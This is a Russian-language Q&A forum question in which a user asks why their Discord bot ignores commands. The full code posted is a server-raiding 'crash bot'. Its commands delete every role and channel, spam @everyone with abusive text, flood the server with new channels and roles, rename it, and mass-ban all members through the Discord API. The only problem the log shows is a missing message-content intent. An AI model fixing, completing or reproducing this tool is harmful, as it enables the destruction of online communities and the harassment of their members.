Задать вопрос
@qidone

Python error, ошибка после запуске кода ( в Run ), на команды бот не реагирует, что делать?

from discord import Intents
from discord.ext import commands
from requests import put
import discord
from asyncio import create_task

prefix = ','  # префикс нашего бота
token = 'ввв'  # токен бота
spamtext = '@everyone @here\nthe bot is written by oneks\nливайте с этого сервера чудилы, tamada X qqsky 2 еблана, ' \
           'восстановите сервак=будут еще краши'  # текст спама при краше

intents = Intents.default()
intents.members = True
client = commands.Bot(command_prefix=prefix, help_command=None, intents=intents)


# Включаем интенты

async def killobject(obj):
    try:
        await obj.delete()
    except:
        pass


async def sendch(ch, text, count):
    for _ in range(count):
        try:
            await ch.send(text)
        except:
            pass


async def createchannel(ctx):
    try:
        c = await ctx.guild.create_text_channel('crash-by-oneks')
    except:
        pass
    else:
        create_task(sendch(ch=c, text=spamtext, count=5))


async def createrole(ctx):
    try:
        await ctx.guild.create_role(name='Crashed By Oneks Bot')
    except:
        pass


@client.command()
async def kill(ctx):
    await ctx.message.delete()
    await ctx.author.send(f'Краш сервера `{ctx.guild}` (id: {ctx.guild.id}) запущен!')
    for rl in ctx.guild.roles:
        create_task(killobject(obj=rl))
    for channel in ctx.guild.text_channels:
        create_task(sendch(ch=channel, text=spamtext, count=1))
    for channel in ctx.guild.channels:
        create_task(killobject(obj=channel))
    for _ in range(50):
        create_task(createchannel(ctx))
        create_task(createrole(ctx))
    await ctx.author.send(f'Краш сервера `{ctx.guild}` (id: {ctx.guild.id}) завершен!')


@client.command()
async def rename(ctx):
    await ctx.message.delete()
    with open('icon.PNG', 'rb') as f:
        icon = f.read()
        await ctx.guild.edit(name='Crashed by Oneks Bot', icon=icon)
    await ctx.author.send(f'Сервер (id) {ctx.guild.id} был переименован, а так-же изменена ему иконка')


async def banus(ctx, limit=None):
    fetched = ctx.guild.fetch_members(limit=limit)
    memlist = await fetched.flatten()
    for member in memlist:
        if member.roles[-1].position >= ctx.guild.me.roles[-1].position:
            continue
        guild = ctx.guild
        put(f'https://discord.com/api/guilds/{guild.id}/bans/{member.id}',
            headers={'Authorization': 'Bot ' + token, 'X-Audit-Log-Reason': 'Crashed by OneksBot'},
            json={'delete_message_days': 1})


@client.command()
async def banall(ctx):
    create_task(banus(ctx, limit=None))
    await ctx.author.send(
        f'Все участники на сервере (id) {ctx.guild.id} в ближайшем времени будут забанены (если у меня есть права на '
        f'это)')


@client.command()
async def help(ctx):
    await ctx.message.delete()
    try:
        await ctx.author.send(embed=discord.Embed(title='OneksBot',
                                                  description=f'`!kill` - авто краш сервера\n`!rename` - сменить '
                                                              f'иконку и имя серверу\n`!banall` - бан всех участников'
                                                              f' сервера',
                                                  colour=discord.Colour.from_rgb(228, 66, 0)))
    except:
        await ctx.send(embed=discord.Embed(title='Открой личку чтобы чекнуть хелп'))


client.run(token)


после запуска кода мой дискорд бот заходит в сеть но на команды не реагирует, в Run пишется это:
Could not find platform independent libraries <prefix>
2023-04-14 18:38:59 WARNING  discord.ext.commands.bot Privileged message content intent is missing, commands may not work as expected.
2023-04-14 18:38:59 INFO     discord.client logging in using static token
2023-04-14 18:39:00 INFO     discord.gateway Shard ID None has connected to Gateway (Session ID: ).

что делать((
  • Вопрос задан
  • 196 просмотров
Подписаться 1 Простой 2 комментария
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы